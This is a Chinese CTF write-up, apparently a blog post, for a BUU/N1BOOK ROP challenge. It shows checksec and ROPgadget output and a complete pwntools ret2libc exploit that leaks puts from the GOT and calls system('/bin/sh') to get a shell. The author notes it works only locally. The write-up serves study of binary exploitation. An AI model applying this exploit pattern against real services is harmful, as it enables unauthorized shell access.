[N1BOOK PARTofPWN] ROP本地

        这道题在BUU远程服务器上没能通过,只是在本地测试成功了,该问题将留到最后去,还请知道的大佬指教。

------------------------------------------------

        首先先查询一下保护,只有NX

a@ubuntu:~/Desktop/test$ checksec rop
[*] '/home/giantbranch/Desktop/test/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

        查询字符串,同样没有敏感字符,但本题旨在ROP上,至少main函数是简单的 

        那么就查一下ROP吧

a@ubuntu:~/Desktop/test$ ROPgadget --binary rop
Gadgets information
============================================================
0x00000000004004ae : adc byte ptr [rax], ah ; jmp rax
0x0000000000400479 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040047f : add bl, dh ; ret
0x00000000004005dd : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004005db : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040055d : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004005dc : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040055e : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040055f : add byte ptr [rax], al ; leave ; ret
0x00000000004004b6 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040047e : add byte ptr [rax], al ; ret
0x00000000004004b5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040047d : add byte ptr [rax], r8b ; ret
0x0000000000400517 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400560 : add cl, cl ; ret
0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000400413 : add esp, 8 ; ret
0x0000000000400412 : add rsp, 8 ; ret
0x0000000000400478 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400409 : and byte ptr [rax], al ; test rax, rax ; je 0x400419 ; call rax
0x00000000004005b9 : call qword ptr [r12 + rbx*8]
0x00000000004005ba : call qword ptr [rsp + rbx*8]
0x0000000000400410 : call rax
0x00000000004005bc : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040047a : hlt ; nop dword ptr [rax + rax] ; ret
0x000000000040040e : je 0x400414 ; call rax
0x00000000004004a9 : je 0x4004c0 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004004eb : je 0x400500 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004004b1 : jmp rax
0x0000000000400561 : leave ; ret
0x0000000000400512 : mov byte ptr [rip + 0x200b1f], 1 ; pop rbp ; ret
0x000000000040055c : mov eax, 0 ; leave ; ret
0x00000000004004ac : mov edi, 0x601038 ; jmp rax
0x00000000004005b7 : mov edi, ebp ; call qword ptr [r12 + rbx*8]
0x00000000004005b6 : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x00000000004004b3 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x000000000040047b : nop dword ptr [rax + rax] ; ret
0x00000000004004f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400515 : or esp, dword ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004005b8 : out dx, eax ; call qword ptr [r12 + rbx*8]
0x00000000004005cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005d0 : pop r14 ; pop r15 ; ret
0x00000000004005d2 : pop r15 ; ret
0x00000000004004ab : pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004005cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004b8 : pop rbp ; ret
0x00000000004005d3 : pop rdi ; ret
0x00000000004005d1 : pop rsi ; pop r15 ; ret
0x00000000004005cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400416 : ret
0x000000000040040d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004005e5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004005e4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004005da : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040040c : test eax, eax ; je 0x400416 ; call rax
0x000000000040040b : test rax, rax ; je 0x400417 ; call rax

Unique gadgets found: 58

        该结果是我在Ubuntu16上得到的,但当我在Ubuntu20中查询时将得到另外一个结果,没记错的话,最终将找到74条gadget

        这里可以用:

0x00000000004005d3 : pop rdi ; ret

         要泄露库函数地址,需要用到puts函数

        其地址为:0x400430

        而该地址为另外一个地址,该地址由加载器在调用时候被填充,即为.got.plt表:0x601018

        以及main函数地址:400537 

        那么现在就足够构造第一个rop了

rop1='a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(mainaddr)

        这个rop1也同样在Ubuntu16中由python2构造。在python3中需要对p64()使用decode(”iso-8859-1“)方法来解码后才能被sendline使用,否则会报错......(虽然被多次告诫不要用那么高的版本,但还是手贱试着写了,最后一整天都没搞定,最好还是换到这个版本去了......)

        然后即可拿到该泄露后的puts库函数地址

libccv=u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_addr=putoff_addr-libc.symbols['puts']
system_addr=libc_addr+libc.symbols['system']
bin_sh=libc_addr+libc.search('/bin/sh').next()

        (我没能理解这里的next方法的最用是什么。但我试着执行了下面的两个情况)

print hex(libc.search('/bin/sh').next())
print hex(libc.search('/bin/sh'))

        第一个返回了确定的数,而第二个则报错,报错表明其返回值并不是一个合适的参数,即“TypeError: hex() argument can't be converted to hex”;这个问题也留待以后吧

        最后构造payload即可拿到shell

playload='a'*18+p64(pop_rdi)+p64(binsh)+p64(ret_addr)+p64(sysaddr)
#完整的exp
from pwn import *

r=process('./rop')
elf=ELF('./rop')
libc=elf.libc

r.recvuntil('\n')

pop_rdi=0x4005d3
puts_got=0x601018
puts=0x400430
mainaddr=0x400537
ret_addr = 0x400562


rop1='a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(mainaddr)
r.sendline(rop1)
libccv=u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))
print hex(libccv)


libc_addr=libccv-libc.symbols['puts']
print libc.symbols['puts']


sysaddr=libc_addr+libc.symbols['system']
binsh=libc.search('/bin/sh').next()+libc_addr
print hex(libc.search('/bin/sh').next())
playload='a'*18+p64(pop_rdi)+p64(binsh)+p64(ret_addr)+p64(sysaddr)

r.sendline(playload)
r.interactive()

 

遗留问题:

        1.脚本未能在BUU远程服务器上通过,猜测是由于libc的库地址不同导致的,但目前笔者还没有获取远程服务器库地址的能力

        2.search().next()中的next意味着什么,关于这一点笔者也暂时没能理解

        如果有大佬知道上述疑问的,还望赐教 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值